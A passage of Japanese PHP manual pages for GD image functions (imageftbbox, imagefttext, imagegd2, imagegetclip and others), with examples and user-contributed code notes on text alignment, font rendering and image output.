  • GD および Image 関数
  • freetype2 によるフォントを用いたテキストを囲む箱を取得する

imageftbbox

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imageftbbox — freetype2 によるフォントを用いたテキストを囲む箱を取得する

説明

imageftbbox ( float $size , float $angle , string $fontfile , string $text , array $extrainfo = ? ) : array

この関数は FreeType テキスト用のバウンディングボックスをピクセル単位で算出し、 それを返します。

注意:

imageftbbox() は、imagettfbbox() を拡張した ものです。追加で extrainfo をサポートしています。

パラメータ

size

ポイント数単位のフォントサイズ。

angle

text を取得する角度。

fontfile

TrueType フォントのファイル名 (URL も可)。 PHP が使用している GD ライブラリのバージョンにも依存しますが、 先頭に '/' がついていないファイル名を渡した場合は ファイル名の末尾に '.ttf' を追加して GD のフォントパスからファイルを探そうとすることもあります。

text

取得したい文字列。

extrainfo

extrainfo の配列のインデックス
キー | 型 | 意味
linespacing | float | 描画時の行間を定義します

返り値

imageftbbox() は 8 つの要素からなる配列を返します。 これが、テキストを囲む箱の 4 つの角の座標を表します。

0 | 左下角の X 座標
1 | 左下角の Y 座標
2 | 右下角の X 座標
3 | 右下角の Y 座標
4 | 右上角の X 座標
5 | 右上角の Y 座標
6 | 左上角の X 座標
7 | 左上角の Y 座標

これらの点は、angle の値にかかわらず text からの相対位置になります。 つまり「左上」とは、そのテキストが水平になるように見たときの左上ということです。

例

例1 imageftbbox() の例

<?php
// 300x150 の画像を作成します
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// 背景色を白に設定します
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// フォントファイルへのパス
$font = './arial.ttf';

// まずバウンディングボックスを作成します
$bbox = imageftbbox(10, 0, $font, 'The PHP Documentation Group');

// X 座標および Y 座標
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 5;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

imagefttext($im, 10, 0, $x, $y, $black, $font, 'The PHP Documentation Group');

// ブラウザに出力します
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

注意

注意: この関数は、PHP が FreeType サポート (--with-freetype-dir=DIR) を有効にしてコンパイルされている場合のみ使用可能です。

参考

  • imagefttext() - FreeType 2 によるフォントを用いてイメージにテキストを描画する
  • imagettfbbox() - TypeType フォントを使用したテキストの bounding box を生成する

User Contributed Notes

pablocorezzola at gmail dot com 15-Jun-2017 03:23
//EXAMPLE - Center text

function newText($im, $size, $angle= 0, $x, $y, $color, $font, $text,$align = "left",$border=false,$width=0,$height=0){

    if($align == "center")
    {
        if ($border == true ){
           imagerectangle($im, $x, $y, $x +$width, $y + $height, $color);
        }
        $bbox = imageftbbox($size, 0, $font, $text);

        // Marcamos el ancho y alto
        $s_width  = $bbox[4];
        $s_height = $bbox[5];

        $y = $y + ($height-$s_height)/2;
        $x = $x + ($width-$s_width)/2;

    }

    imagettftext($im, $size, $angle, $x, $y, $color, $font, $text);
}
Johan 19-Nov-2007 07:38
For alignment i used this method:

if($align == "center" || $align == "right")
    {
        $verticaltxtspace = $backwidth - (2 * $posx);
        $spacepositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", " ");
        $spacepx = $spacepositions[4] - $spacepositions[0];

        // Split text in lines
        $lines = split("[\r][\n]", $text);
        for($count = 0; $count < count($lines); $count++)
        {
            $textpositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", $lines[$count]);
            $textpx = $textpositions[2] - $textpositions[0];

            if($align == "right")
            {
                $spaces = ($verticaltxtspace - $textpx) / $spacepx;
            }
            else if($align == "center")
            {
                $spaces = (($verticaltxtspace - $textpx)/2) / $spacepx;
            }

            // Add spaces
            $line = $lines[$count];
            for($i = 0; $i < $spaces; $i++)
            {
                $line = " " . $line;
            }
            $lines[$count] = $line;
        }

        // Create new text of lines
        $text = "";
        for($count = 0; $count < count($lines); $count++)
        {
            $text .= $lines[$count] . "\r\n";
        }
    }

    //    Draw the shadow text on de shadow
    imagettftext($background, $size, $angle, $posx, $posy, $textcolor, "fonts/verdanaz.ttf",  $text);
theo v e -2 28-Dec-2005 07:10
ah... the problem between imageftbbox() and imagefttext() lies in the mirroring of the y-axes.
Below you see, for a font-size 16 the boudingboxes of "b", "p" and "bp":
< b: w=9 h=15
b(0,-1)
b(9,-1)
b(9,-16)
b(0,-16)
< p: w=9 h=16
p(0,4)
p(9,4)
p(9,-12)
p(0,-12)
< bp: w=20 h=20
bp(0,4)
bp(20,4)
bp(20,-16)
bp(0,-16)
If drawing "bp" using imagefttext() at y=0, the the top of "bp" indeed is at y=-16, and the bottom of "bp" at y=4. (Plus or minus a pixel here and there, because at y=0 there actually is a vissible pixel.)
fernando 14-Jul-2005 01:20
imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 lower left corner, X position
1 lower left corner, Y position
2 lower right corner, X position
3 lower right corner, Y position
4 upper right corner, X position
5 upper right corner, Y position
6 upper left corner, X position
7 upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.
groomed at users dot sf dot net 27-May-2004 12:38
ImageFTBBox returns a bounding box, not metrics, as some (most?) of the notes above seem to assume. The 8 values it returns specify the 4 corners of this bounding box. So to properly determine the width and height of a string you need to do:

$bbox = ImageFTBBox(...);
$width = abs($bbox[0]) + abs($bbox[2]); // distance from left to right
$height = abs($bbox[1]) + abs($bbox[5]); // distance from top to bottom
sectionthirty1 at yahoo dot com 22-Apr-2004 02:50
Here is a handy example I used to center "dynamic text" onto an image.

Ex. Say you want to center a clients IP Address onto a picture.

$ip=$_SERVER['REMOTE_ADDR'];

$details = imageftbbox($fontsize, 0, $font, $ip, array("linespacing" => 1));

$xcoord = ($imgwidth - $details[4]) / 2;  // this will return the x coordinate centered to your specific image.  Make sure  you set $imgwidth to the width of the image you are using.

imagettftext($image, $fontsize, 0, $xcoord, $ycoord, $fontcolor, $font, $ip);
ta at NOSPAM dot magicsquare dot info 06-Sep-2002 09:37
i've found a work around for this situation

it seems that height is directly proportional to line spacing so you just have to apply the same factor to image height

for example :

$spacing = 0.7;
$params = array("linespacing" => $spacing);

$box = imageftbbox ($size, 0, $font, $text, $params);
$tw=$box[4]-$box[0]; //image width
$th=($box[1]-$box[5])*$spacing; //image height
phpimageftbbox at juggernaut dot com dot au 14-May-2002 09:56
This function can be used to generate right-aligned text. Just work out how wide the text image is and position it accordingly. Example:

$i_width  = 200;
$i_height = 40;

$string = "Hello World!";
$pointsize = 10;
$fontfile = "/usr/local/lib/ttf/Helve.ttf";

$im = imagecreate($i_width, $i_height);
$black = imagecolorallocate ($im, 0, 0, 0);
$white = imagecolorallocate ($im, 255, 255, 255);

$string_size = ImageFtBbox($pointsize, 0, $fontfile, $string, array("linespacing" => 1));
$s_width  = $string_size[4];
$s_height = $string_size[5];

ImageFtText($im, $pointsize, 0, $i_width - $s_width - 1,  0 - $s_height, $white, $fontfile, $string, array("linespacing" => 1));

Header ("Content-type: image/png");
ImagePNG ($im);
ImageDestroy ($im);


FreeType 2 によるフォントを用いてイメージにテキストを描画する

  • ≪ imageftbbox
  • imagegammacorrect ≫
  • PHP Manual
  • GD および Image 関数
  • FreeType 2 によるフォントを用いてイメージにテキストを描画する

imagefttext

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagefttext — FreeType 2 によるフォントを用いてイメージにテキストを描画する

説明

imagefttext ( resource $image , float $size , float $angle , int $x , int $y , int $color , string $fontfile , string $text , array $extrainfo = ? ) : array

注意:

imagefttext() は、 imagettftext() を拡張したものです。 extrainfo を追加でサポートしています。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

size

使用するフォントのサイズ (ポイント数)。

angle

角度 (度数)。0 度は、左から右に読むテキストを表します。 度数を上げていくと、反時計回りに回転します。たとえば、 90 度の場合は下から上に読むテキストとなります。

x

x と y で表す座標が、最初の文字のベースポイント (その文字の左下の角とほぼ等しい点) となります。 imagestring() の場合は x と y で最初の文字の左上の角を指定しており、 たとえば "左上" は 0, 0 となりますが、この関数では異なります。

y

y 座標。これはフォントのベースラインを指定するものであり、 文字の最下端を指定するものではありません。

color

テキストに使用する色のインデックス。 imagecolorexact() を参照ください。

fontfile

使用する TrueType フォントへのパス。

PHP が使用している GD ライブラリのバージョンにも依存しますが、 fontfile の先頭に / がついていない場合はファイル名の末尾に .ttf を追加して GD のフォントパスからファイルを探そうとすることもあります。

GD ライブラリのバージョンが 2.0.18 より古い場合は、複数のフォントファイルを指定するときの 'パス区切り文字' がセミコロンではなく スペース となります。 この機能を意図せずに使ってしまい、 Warning: Could not find/open font といった警告が発生してしまうことがあります。 この問題が発生するバージョンの場合は、 スペースを含まないパスにフォントを格納しなければなりません。

たいていの場合は、スクリプト内で使うフォントの場所は同じディレクトリになるでしょう。 そんな場合は、次のようにすれば読み込み時の問題を回避できます。

<?php
// GD 用の環境変数を設定します
putenv('GDFONTPATH=' . realpath('.'));

// 使用するフォント名を指定します (拡張子 .ttf がないことに注目しましょう)
$font = 'SomeFont';
?>

text

画像に挿入するテキスト。

extrainfo

extrainfo の配列のインデックス
キー | 型 | 意味
linespacing | float | 描画時の行間を定義します

返り値

この関数は、長方形の 4 つの角を表す点の配列を返します。 最初が左下の位置で、そこから反時計回りに回ります。

0 | 左下の x 座標
1 | 左下の y 座標
2 | 右下の x 座標
3 | 右下の y 座標
4 | 右上の x 座標
5 | 右上の y 座標
6 | 左上の x 座標
7 | 左上の y 座標

例

例1 imagefttext() の例

<?php
// 300x100 の画像を作成します
$im = imagecreatetruecolor(300, 100);
$red = imagecolorallocate($im, 0xFF, 0x00, 0x00);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// 背景を赤にします
imagefilledrectangle($im, 0, 0, 299, 99, $red);

// ttf フォントファイルへのパスを設定します
$font_file = './arial.ttf';

// フォントサイズ 13 で 'PHP Manual' というテキストを描画します
imagefttext($im, 13, 0, 105, 55, $black, $font_file, 'PHP Manual');

// 画像をブラウザに出力します
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

注意

注意: この関数は、PHP が FreeType サポート (--with-freetype-dir=DIR) を有効にしてコンパイルされている場合のみ使用可能です。

参考

  • imageftbbox() - freetype2 によるフォントを用いたテキストを囲む箱を取得する
  • imagettftext() - TrueType フォントを使用してテキストを画像に書き込む

User Contributed Notes

php@davehirschD0TK0MM 07-Jun-2010 12:47
I'm not sure if this is a PHP issue or an GD issue, but after upgrading to PHP 5.3.2, text written at an angle has become top-justified (so "N" and "n" have the same top, but the bottom of the "N" is lower than the bottom of the "n".  I've written a kludgy work-around, which writes the text to a non-rotated temporary image, then copies the temporary image, rotated onto the main image.  The kludginess is to get around the fact that I can't seem to extract the font info, particularly the distance between the baseline and the very bottom (I've hard-coded it as 30% of the font size)
I hope the bug can be fixed (if it is indeed a bug) or that others can improve this code:

<?php
    // Function that draws rotated text by creating a temporary image and rotating it, since rotated text appears to be busted
    function imageTextRotated($image, $size, $angle, $x, $y, $inColor, $fontfile, $text, $info=array()) {
//        Force some demo text that contains risers and descenders:
//        $text = "Nlfbacejygq!";

        $bbox = imageftbbox($size, 0, $fontfile, $text, $info);
        $dropdown = $size*0.3;
        $xsize = abs($bbox[2] - $bbox[0]);
        $ysize = abs($bbox[5] - $bbox[3]);
        $tmpImage = imagecreatetruecolor($xsize*1.25, $ysize*1.25);        // need the extra space to accommodate risers and descenders
        $transparent = imagecolorallocate($tmpImage, 255, 255, 154);
        if (!$transparent) {
            error_log("Color allocate failed");
        }
        imagecolortransparent($tmpImage, $transparent);
        if (!imagefill($tmpImage, 0, $ysize, $transparent)) {
            error_log("Fill failed");
        }
        $rgb = imagecolorsforindex($image, $inColor);
        $color = imagecolorexact($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
        if ($color == -1) {
            $color = imagecolorallocate($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
            if (!$color) {
                error_log("Color allocate 2 failed");
            }
        }

        $newbbox = imagefttext($tmpImage, $size, 0, 0, $ysize*1.0, $color, $fontfile, $text, $info);
        $tmpImage = imagerotate($tmpImage, $angle, $transparent);
        $newWidth = imagesx($tmpImage);
        $newHt = imagesy($tmpImage);
        imagecopymerge($image, $tmpImage, $x-$newWidth+$dropdown, $y-$newHt, 0, 0, $newWidth, $newHt, 100);

//        Highlight the desired starting point (baseline) with a green dot:
//        $green = imagecolorallocate($image, 0, 251, 0);
//        imagefilledellipse($image, $x, $y, 10, 10, $green);
        imagedestroy($tmpImage);
?>

-Dave
KeepSake at crimebloc dot com 17-Sep-2009 09:05
For a design project I am required to have spacing between characters; since imagefttext does not support this feature I have created a function which does support this.

The arguments are identical to imagefttext, accept that (array)$extrainfo now accepts the 'character_spacing' spacing parameter. The return values are as expected, and include the image boundaries of the entire string including the character spacing.

The downside is that $angle rotates each letter instead of rotating the entire word (could be seen as a feature on its own).

I hope this is of some use to someone.
- KeepSake

<?php
// Required header (assuming we use png images)
header("Content-type: image/png");

// Create a basic image with a dark background.
$image = imagecreatetruecolor(300, 20);
imagefill($image, 0, 0, imagecolorallocate($image, 21, 21, 21));

// Function call, arguments are the same as imagefttext, expect that (array)$extrainfo takes a new paramenter called character_spacing.
$imageBox = imagefttext2($image, 9, 0, 2, 15, imagecolorallocate($image, 255, 255, 255), 'tahomabold.ttf', 'The quick brown fox...', array('character_spacing' => 5));

// Output the file, and clear the resources
imagepng($image);
imagedestroy($image);

function imagefttext2($imageResource, $font_size, $text_angle, $start_x, $start_y, $color, $font_file, $text, $extra_info = array()) {
    if($extra_info['character_spacing'] == NULL || !is_numeric($extra_info['character_spacing'])) {
        $extra_info['character_spacing'] = 0;
    }
    $lastX = $start_x - $extra_info['character_spacing'];
    foreach(str_split($text) as $v) {
        $coordinates = imagefttext($imageResource, $font_size, $text_angle, $lastX + $extra_info['character_spacing'], $start_y, $color, $font_file, $v, $extra_info);
        $lastX = max($coordinates[2], $coordinates[4]);
    }
    // Return the newly generated image box coordinates:
    return array($start_x, $start_y, $coordinates[2], $coordinates[3], $coordinates[4], $coordinates[5], $start_x, $coordinates[7]);
}

?>
d underscore brown x at hotmail dot 24-Nov-2007 10:26
realpath(".")
realpath(getenv("SCRIPT_FILENAME"));

could be different.  This helped when setting GDFONTPATH.
darren at badpun dot co dot uk 29-Mar-2007 01:58
I had trouble working out how to accurately represent fonts in point sizes when constructing charts that had a user-customisable output DPI (basically, the user could specify the size of the chart in mm - or any other physical measure - and the DPI to create arbitrarily-sized charts to work properly in real printed documents).

GD1 was OK as it used pixels for font rendering, but GD2 uses points, which only makes any sense if you know the DPI that it assumes when rendering text on the image surface. I have not been able to find this anywhere in this documentation but have examined the GD2 source code and it appears to assume a DPI of 96 internally. However, this can easily be customised in the GD2 source so it cannot be assumed that all PHP interpreters out there have a GD2 compiled using 96dpi internally.

If it does, and you are using it to construct images whose target DPI is not 96, you can calculate the point size to supply to imageftbox() and imagefttext() like this:

<?php
/* 100mm x 100mm image */
$imageWidth = 100;
$imageHeight = 100;

/* 300 dpi image, therefore image is 1181 x 1181 pixels */
$imageDPI = 300;

/* unless we do this, text will be about 3 times too small */
$realFontSize = ($fontPt * $targetDPI) / 96;
?>
cory at lavacube dot com 09-Nov-2006 01:53
Since this function is not documented, I felt it was best that I shed some light on the extrainfo parameter.

You can see the full documentation at the GD reference manual:
http://www.boutell.com/gd/manual2.0.33.html#gdImageStringFTEx

Basically it accepts an array containing the following options as keys and an associated value:
(int) flags [more info in the GD reference manual]
(double/float) linespacing
(int) charmap
(int) hdpi
(int) vdpi
(string) xshow
(string) fontpath

My C/C++ is not very good but this is the best I can explain. Read the documentation for more information. :-)

A very simple example of usage would be:

<?php

imagefttext( $img_pointer, 12, 0, 10, 10, [-insertsomecolour-], '/path/to/font.ttf', "THIS IS A TEST\nTHIS IS LINE 2\nTHIS IS LINE3", array('lineheight'=>2.0) );

?>
20-Feb-2006 02:19
I am using php 5.1.2 on a winxp machine. I was  getting into the TrueType fonts and wanted to see which ones would look best incorporated into web images. So I created the following script that prints out samples of all the TrueType fonts found in my C:\Windows\Fonts directory. The script takes only one request parameter - 'fsize'. It stands for font-size and lets you see each font in any size you wish -- I limited it to values between 5 and 48. Hope this helps someone other than me :)

I apologize in advance if any of my code is not the prettiest-written php code even seen -- I have only been coding in php for the past week (I'm a perl-guy usually).

<?php
    list($x, $y, $maxwidth) = array(0, 0, 0);

    $fsize = (int)$_REQUEST['fsize'];
    if ($fsize < 5 or $fsize > 48) $fsize = 8;

    header("Content-type: image/jpeg");

    // don't know how wide or tall the font samples will be.
    // create a huge image for now, we'll copy it smaller
    // later when we know how large the image needs to be.
    $im = imagecreate(1000, 20000) or die('could not create!');
    $clr_white = imagecolorallocate($im, 255, 255, 255);
    $clr_black = imagecolorallocate($im, 0, 0, 0);

    $font_path = "C:/Windows/Fonts/";
    $dh = opendir($font_path);
    while (($file = readdir($dh)) !== FALSE) {
        // we're only dealing with TTY fonts here.
        if (substr(strtolower($file), -4) != '.ttf') continue;

        $str = "Sample text for '$file'";
        $bbox = imagettfbbox(
            $fsize, 0, "{$font_path}{$file}", $str
        );
        $ww = $bbox[4] - $bbox[6];
        $hh = $bbox[1] - $bbox[7];

        imagettftext(
            $im, $fsize, 0, $x, $y,
            $clr_black, "{$font_path}{$file}", $str
        );

        $y += $hh + 20;
        if ($ww > $maxwidth) $maxwidth = $ww;
    }

    closedir($dh);

    // ok, now we can chop off the extra space from the
    // 1000 x 20000 image.
    $im2 = imagecreate($maxwidth + 20, $y);
    imagecopyresized(
        $im2, $im, 0, 0, 0, 0, $maxwidth + 20,
        $y, $maxwidth + 20, $y
    );
    imagejpeg($im2);
    imagedestroy($im);
    imagedestroy($im2);
?>
vsazel at atlas dot cz 23-Nov-2005 09:16
If you want to get the best result in monochrome font rendering, change render_mode to FT_LOAD_RENDER. It's the last parameter of FT_Load_Glyph() function (in gdft.c).
dnf at seznam dot cz 23-Jun-2005 02:25
For negative image you must add one line after the $grayColor computation:

$grayColor =  ~ $grayColor & 0x7FFFFFF;
aidan at php dot net 29-May-2005 03:11
This function is very simular to imageffttext(), you may find the information provided on its manual page helpful:

http://php.net/imagettftext
MagicalTux at FF dot st 27-Jan-2005 02:20
When compiling PHP with FreeType 2 support, you'll probably have some problems if - for example - you use debian and didn't compile freetype2 yourself...
If configure fails after saying "If configure fails, try --with-xpm-dir..." you most likely have FreeType1 installed, but not freetype2 ...

Do this as root :
apt-get install libfreetype6-dev

It took me some time to find out that apt-get install freetype2 is actually installing freetype1 ...
kagaku at gmail dot com 07-Dec-2004 08:27
I found myself in need of an align right function and found one on the imagepstext manual page. I can't imagine I'm the only person who's needed to use this, so here's a slightly modified version that works with imagefttext:

<?
  function align_right($string, $fontfile, $imgwidth, $fontsize){
    $spacing = 0;
    $line = array("linespacing" => $spacing);
    list($lx,$ly,$rx,$ry) = imageftbbox($fontsize,0,$fontfile,$string,$line);
    $textwidth = $rx - $lx;
    $imw = ($imgwidth-10-$textwidth);
    return $imw;
  }
?>
eshenk at comcast dot net 24-Jan-2004 02:05
I wrote a bit of code to gather all the .ttf files in the directory with this script, and randomize them to write text on a header image for my site. The only catch is the font files have to be named 1.ttf, 2.ttf etc etc.

<?php

srand((double)microtime()*1234567); // Start the random gizmo
$image = imagecreatefromjpeg(rand(1,exec('ls *.jpg | wc -l')) . ".jpg"); // Get a background
$font = rand(1,exec('ls *.ttf | wc -l')) . ".ttf"; // Get a font
$textcolor = imagecolorallocate($image,0,0,0); // Set text color

$text1 = "shenko.homedns.org"; // Here is our text

imagettftext($image, 50, 0, 20, 50, $textcolor, $font, $text1); // Write the text with a font

header("Content-type: image/jpeg"); // Its a JPEG
imagejpeg($image,'',90); // Zap it to the browser
imagedestroy($image); // Memory Freeupage

?>
sebastiand at gmx dot de 17-Sep-2003 02:07
After spending the evening with some work on automatically generated images, I had the idea to switch of anti-aliasing (looking, if some font would look better that way), which turned out not to be quite so easy.

Actually you have to use the negative of the desired color to switch of antialising. I include the corresponding line from my code (line split up):

// USE NEGATIVE OF DESIRED COLOR TO SWITCH OF ANTI-ALIASING
ImageFTText ($neuesBild,$fontsize,$fontangle,$TextPosX,$TextPosY,
-$custom_fg,$fonttype,$text,array());
jwilliam at kcr dot uky dot edu 21-Nov-2002 12:22
Thanks for the script!  I modified it to show several fonts that I was wanting to use.  I am using GD-2.0.7, FreeType-2.1.3(text rotation fix,among others), and PHP-4.2.3 and had to include the array information to get it to work.

Code change follows:
$fontfile="/usr/local/fonts/ttf/bookantbd.ttf";
// Waterfall of point sizes to see what Freetype 2's autohinting looks like:
//
for($i=4;$i<=12;$i++){
  ImageFtText($image,$i,0,10,(280+$i*14),$forecolor,$fontfile, bookantbd . $i . ". " . $string, array("linespacing" => 1.0));
}

John
ben at tNOSPAManjNOSPAMo dot cnospamordots dot om 08-Aug-2002 12:59
If you're interested in turning off FreeType hinting, search for the following line in the gd source (gdft.c):
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_DEFAULT);
and replace it with
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_NO_HINTING);

Recompile GD, and vo?la: beauteous antialiasing.


GD イメージにガンマ補正を適用する

  • ≪ imagefttext
  • imagegd2 ≫
  • PHP Manual
  • GD および Image 関数
  • GD イメージにガンマ補正を適用する

imagegammacorrect

(PHP 4, PHP 5, PHP 7, PHP 8)

imagegammacorrect — GD イメージにガンマ補正を適用する

説明

imagegammacorrect ( resource $image , float $inputgamma , float $outputgamma ) : bool

指定した GD 画像 image に 入力ガンマ値、出力ガンマ値を指定してガンマ補正を適用します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

inputgamma

入力ガンマ値。

outputgamma

出力ガンマ値。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagegammacorrect() の使用法

<?php
// 画像のインスタンスを作成します
$im = imagecreatefromgif('php.gif');

// ガンマ補正を out = 1.537 で行います
imagegammacorrect($im, 1.0, 1.537);

// 出力してメモリから解放します
imagegif($im, './php_gamma_corrected.gif');
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


GD2 イメージをブラウザまたはファイルに出力する

  • ≪ imagegammacorrect
  • imagegd ≫
  • PHP Manual
  • GD および Image 関数
  • GD2 イメージをブラウザまたはファイルに出力する

imagegd2

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagegd2 — GD2 イメージをブラウザまたはファイルに出力する

説明

imagegd2 ( resource $image , mixed $to = NULL , int $chunk_size = 128 , int $type = IMG_GD2_RAW ) : bool

GD2 イメージを、指定した to に出力します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

chunk_size

チャンクの大きさ。

type

IMG_GD2_RAW あるいは IMG_GD2_COMPRESSED のいずれかです。デフォルトは IMG_GD2_RAW です。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 GD2 画像の出力

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// 画像を出力します
imagegd2($im);

// メモリを開放します
imagedestroy($im);
?>

例2 GD2 画像の保存

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// GD2 画像を保存します
// GD2 画像のファイル形式は .gd2 です。 http://www.libgd.org/GdFileFormats を参照ください
imagegd2($im, 'simple.gd2');

// メモリを開放します
imagedestroy($im);
?>

注意

注意:

通常 GD2 フォーマットはイメージの一部を高速にロードするために 使用されます。GD2 フォーマットは GD2 互換アプリケーションでのみ使用可能であることに注意してください。

警告

GD と GD2 画像フォーマットは libgd のプロプライエタリな画像フォーマットです。これらは obsolete と見なされているため、開発とテストの用途にだけ使うべきです。

参考

  • imagegd() - GD イメージをブラウザまたはファイルに出力する

User Contributed Notes

Nick 13-Jun-2011 12:49
You can use this function in combination with imagecreatefromstring() to clone the gd resource with minimum fuss (no writing to tmp file):

<?php
function cloneGd($gd)
{
    ob_start();
    imagegd2($gd);
    return imagecreatefromstring(ob_get_clean());
}
?>
mark at teckis dot com 16-Apr-2003 06:33
yes, the gd2 file format does improve the speed of image creations as the data-setup is designed to be native for the GD function - ie, the image doesn't have to be converted to a usable format prior to processing.

you may also note that the newer gd2 format creates much smaller size files than the older imagegd function, certainly for images involving chunks of single colours anyway. you'll probably find this function most useful for saving overlay images or background images used in larger image creation scripts.

to read a ping or jpeg image (.png / .jpg) and save a .gd2 version to server...

$img = $_GET['img'];
if(file_exists($img))
    {
    $dim = getimagesize($img);
    $cr = ($dim[2] < 4) ? ($dim[2] < 3) ? ($dim[2] < 2) ? NULL : imagecreatefromjpeg($img) : imagecreatefrompng($img) : Null;
    if($cr !== NULL)
          {
         imagegd2($cr,substr($img,0,strrpos($img,'.')).'.gd2');
          }
    }

should save a copy with the same filename and directory using extension .gd2 - which can then be nicely and swiftly read using either imagecreatefromgd2 or imagecreatefromgd2part


GD イメージをブラウザまたはファイルに出力する

  • ≪ imagegd2
  • imagegetclip ≫
  • PHP Manual
  • GD および Image 関数
  • GD イメージをブラウザまたはファイルに出力する

imagegd

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagegd — GD イメージをブラウザまたはファイルに出力する

説明

imagegd ( resource $image , mixed $to = NULL ) : bool

GD イメージを、指定した to に出力します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

変更履歴

バージョン | 説明
7.2.0 | imagegd() が truecolor 画像を出力できるようになりました。 これまでのバージョンでは、暗黙のうちにパレット画像に変換されていました。

例

例1 GD 画像の出力

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// 画像を出力します
imagegd($im);

// メモリを開放します
imagedestroy($im);
?>

例2 GD 画像の保存

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// GD 画像を保存します
// GD 画像のファイル形式は .gd です。 http://www.libgd.org/GdFileFormats を参照ください
imagegd($im, 'simple.gd');

// メモリを開放します
imagedestroy($im);
?>

注意

注意:

通常 GD フォーマットはイメージの一部を高速にロードするために 使用されます。GD フォーマットは GD 互換アプリケーションでのみ使用可能であることに注意してください。

警告

GD と GD2 画像フォーマットは libgd のプロプライエタリな画像フォーマットです。これらは obsolete と見なされているため、開発とテストの用途にだけ使うべきです。

参考

  • imagegd2() - GD2 イメージをブラウザまたはファイルに出力する

User Contributed Notes

There are no user contributed notes for this page.


長方形を切り取り、画像として取得する

  • ≪ imagegd
  • imagegetinterpolation ≫
  • PHP Manual
  • GD および Image 関数
  • 長方形を切り取り、画像として取得する

imagegetclip

(PHP 7 >= 7.2.0, PHP 8)

imagegetclip — 長方形を切り取り、画像として取得する

説明

imagegetclip ( resource $im ) : array

imagegetclip() 関数は、現在切り取っている長方形を取得します。 つまり、ピクセルが存在しない状態でなければ描画されます。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

この関数は、切り取っている長方形の座標を配列で返し、 次のエントリを持ちます:

  • 左上のx座標
  • 左上のx座標
  • 右下のx座標
  • 右下のy座標

例

例1 imagegetclip() の例

切り取る範囲を設定し、長方形のクリップを取得します。

<?php
$im = imagecreate(100, 100);
imagesetclip($im, 10,10, 89,89);
print_r(imagegetclip($im));

上の例の出力は以下となります。

Array
(
    [0] => 10
    [1] => 10
    [2] => 89
    [3] => 89
)

参考

  • imagesetclip() - 切り取る長方形を設定する

User Contributed Notes

There are no user contributed notes for this page.


補間方法を取得する

  • ≪ imagegetclip
  • imagegif ≫
  • PHP Manual
  • GD および Image 関数
  • 補間方法を取得する

imagegetinterpolation

(PHP 8)

imagegetinterpolation — 補間方法を取得する

説明

imagegetinterpolation ( GdImage $image ) : int

image に現在設定されている補間方法を取得します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

補間方法を返します。

参考

  • imagesetinterpolation() - 補間方法を設定する

User Contributed Notes

There are no user contributed notes for this page.


画像をブラウザあるいはファイルに出力する

  • ≪ imagegetinterpolation
  • imagegrabscreen ≫
  • PHP Manual
  • GD および Image 関数
  • 画像をブラウザあるいはファイルに出力する

imagegif

(PHP 4, PHP 5, PHP 7, PHP 8)

imagegif — 画像をブラウザあるいはファイルに出力する

説明

imagegif ( resource $image , mixed $to = null ) : bool

imagegif() は画像 image から to に GIF ファイルを作成します。 引数 image は imagecreate() あるいは imagecreatefrom* 関数から返されたものです。

画像フォーマットは、imagecolortransparent() を 用いて画像を透明化しない限り GIF87a となります。 透明化した場合の画像フォーマットは GIF89a となります。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

